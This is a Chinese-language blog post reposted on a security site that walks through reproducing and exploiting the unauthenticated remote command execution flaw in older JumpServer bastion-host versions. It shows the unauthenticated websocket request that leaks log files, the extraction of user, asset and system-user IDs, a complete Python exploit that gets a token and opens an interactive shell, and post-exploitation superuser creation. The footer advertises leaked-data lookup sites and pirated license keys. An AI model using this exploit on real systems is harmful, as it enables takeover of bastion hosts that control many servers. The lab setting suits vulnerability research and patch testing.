jumpserver 远程命令执行RCE漏洞复现和利用

admin 2023年2月21日15:58:30jumpserver 远程命令执行RCE漏洞复现和利用已关闭评论529 views字数 4029阅读13分25秒阅读模式
Jumpserver 是一款由 python 编写开源的跳板机(堡垒机)系统,是内网中的一种集权系统,拿下后基本上都是可以控制大量的服务器。
项目地址:https://github.com/jumpserver/jumpserver

漏洞原理

远程命令执行漏洞:由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,再通过敏感信息获取一个 20s 的 token,最后利用这个 token 去执行相关 API 操作控制其中所有机器或者执行任意命令。


影响版本

  • JumpServer < v2.6.2

  • JumpServer < v2.5.4

  • JumpServer < v2.4.5

  • JumpServer = v1.5.9



环境搭建坑点

环境搭建推荐使用一键安装,因为环境比较麻烦,而且还得是旧版的,这里是 v2.6.1
安装脚本 V2.6.1
https://www.o2oxy.cn/wp-content/uploads/2021/01/quick\_start.zip

  • 注意要给环境配置高一点,否则会卡死。(我是 Centos 7 系统 8G

  • 使用一件脚本的时候,推荐不使用外部 mysql 和 redis,这样他就会 docker 自己创建数据库,省的自己配报错。

图片
图片
  • 搭建好了,服务一键启动 ./jmsctl.sh restart

  • 搭建好了,默认的账户和密码是 admin admin

搭建完成访问:
http://10.211.55.22:8080/core/auth/login/

登陆之后还不能直接用,还有配置一下,分配一下服务器才能使用。
jumpserver 远程命令执行RCE漏洞复现和利用
控制台首页
图片

1、创建一个系统用户

  • 系统用户是 JumpServer 跳转登录资产时使用的用户

图片

2、创建管理用户

管理用户是资产(被控服务器)上的 root,或拥有 NOPASSWD: ALL sudo 权限的用户
我的被管理主机就是 root root
图片

3、创建资产

就是要管理的终端
图片

4、资产授权

只有给资产授权,控制台才有机器,才能管理
图片

5、web终端连接

访问 web 终端:
http://10.211.55.22:8080/luna/
图片


漏洞复现

1、请求未授权 socketweb

ws://10.211.55.22:8080/ws/ops/tasks/log/
利用chrome 插件
https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

请求 log 文件
{"task":"/opt/jumpserver/logs/gunicorn"}
图片

2、获取system_user user_id asset_id 这三个重要参数

搜索一下这三个 id
图片
所以获取到的是
asset_id=230f921b-be1c-4343-8bab-57d4410606bb&cache_policy=1&system_user_id=03705092-18e7-4b65-a12a-7991f9c50740&user_id=0cae929c-5f7a-41a4-b873-bc9d28613c4c

3、对应填入EXP中

exp为了美观放到最后
文件最后需要修改的:
host = "http://10.211.55.22:8080"
data = { "user": "0cae929c-5f7a-41a4-b873-bc9d28613c4c", "asset": "230f921b-be1c-4343-8bab-57d4410606bb", "system_user": "03705092-18e7-4b65-a12a-7991f9c50740", }

4、成功利用:

图片
后渗透 - 创建超管
获取到 shell,我们可以直接创建超管,毕竟主机权限没什么用,登陆系统之后才有大量的主机。

命令行创建超管

切换到目录 cd /opt/jumpserver/appspython manage.py createsuperuser
图片
超管登陆成功
图片


EXP 代码仓库:
https://github.com/Skactor/jumpserver\_rce

我实测,这个手动获取 asset_id、system_user_id、user_id 这三个可以正常触发漏洞,但是好多自动化获取多少有点问题,反正我的是没成功
import osimport asyncioimport aioconsoleimport websocketsimport requestsimport json
url = "/api/v1/authentication/connection-token/?user-only=1"
def get_celery_task_log_path(task_id): task_id = str(task_id) rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log") path = os.path.join("/opt/jumpserver/", rel_path)    return path    async def send_msg(websocket, _text): if _text == "exit": print(f'you have enter "exit", goodbye') await websocket.close(reason="user exit") return False await websocket.send(_text)
async def send_loop(ws, session_id): while True: cmdline = await aioconsole.ainput() await send_msg( ws, json.dumps( {"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"} ), )
async def recv_loop(ws): while True: recv_text = await ws.recv() ret = json.loads(recv_text) if ret.get("type", "TERMINAL_DATA"):            await aioconsole.aprint(ret["data"], end="")
# 客户端主逻辑async def main_logic(): print("#######start ws") async with websockets.connect(target) as client: recv_text = await client.recv() print(f"{recv_text}") session_id = json.loads(recv_text)["id"] print("get ws id:" + session_id) print("###############") print("init ws") print("###############") inittext = json.dumps( { "id": session_id, "type": "TERMINAL_INIT", "data": '{"cols":164,"rows":17}', } ) await send_msg(client, inittext)        await asyncio.gather(recv_loop(client), send_loop(client, session_id))
if __name__ == "__main__": host = "http://10.211.55.22:8080" cmd = "whoami" if host[-1] == "/": host = host[:-1] print(host) data = { "user": "0cae929c-5f7a-41a4-b873-bc9d28613c4c", "asset": "230f921b-be1c-4343-8bab-57d4410606bb", "system_user": "03705092-18e7-4b65-a12a-7991f9c50740", } print("##################") print("get token url:%s" % (host + url,)) print("##################") res = requests.post(host + url, json=data) token = res.json()["token"] print("token:%s", (token,)) print("##################") target = ( "ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token ) print("target ws:%s" % (target,))    asyncio.get_event_loop().run_until_complete(main_logic())


文章作者: Zeo
文章链接: 
https://godzeo.github.io/2021/11/16/jumpserver%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8CRCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%A9%E7%94%A8/


-----------------------------------------
关注公众号后台回复 "0001" 领取域渗透思维导图,"0002" 领取VMware 17永久激活码,"0003" 获取SGK地址,"0004" 获取ChatGPT共享账号,"0005"获取 Windows10渗透集成环境

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月21日15:58:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   jumpserver 远程命令执行RCE漏洞复现和利用https://cn-sec.com/archives/1562440.html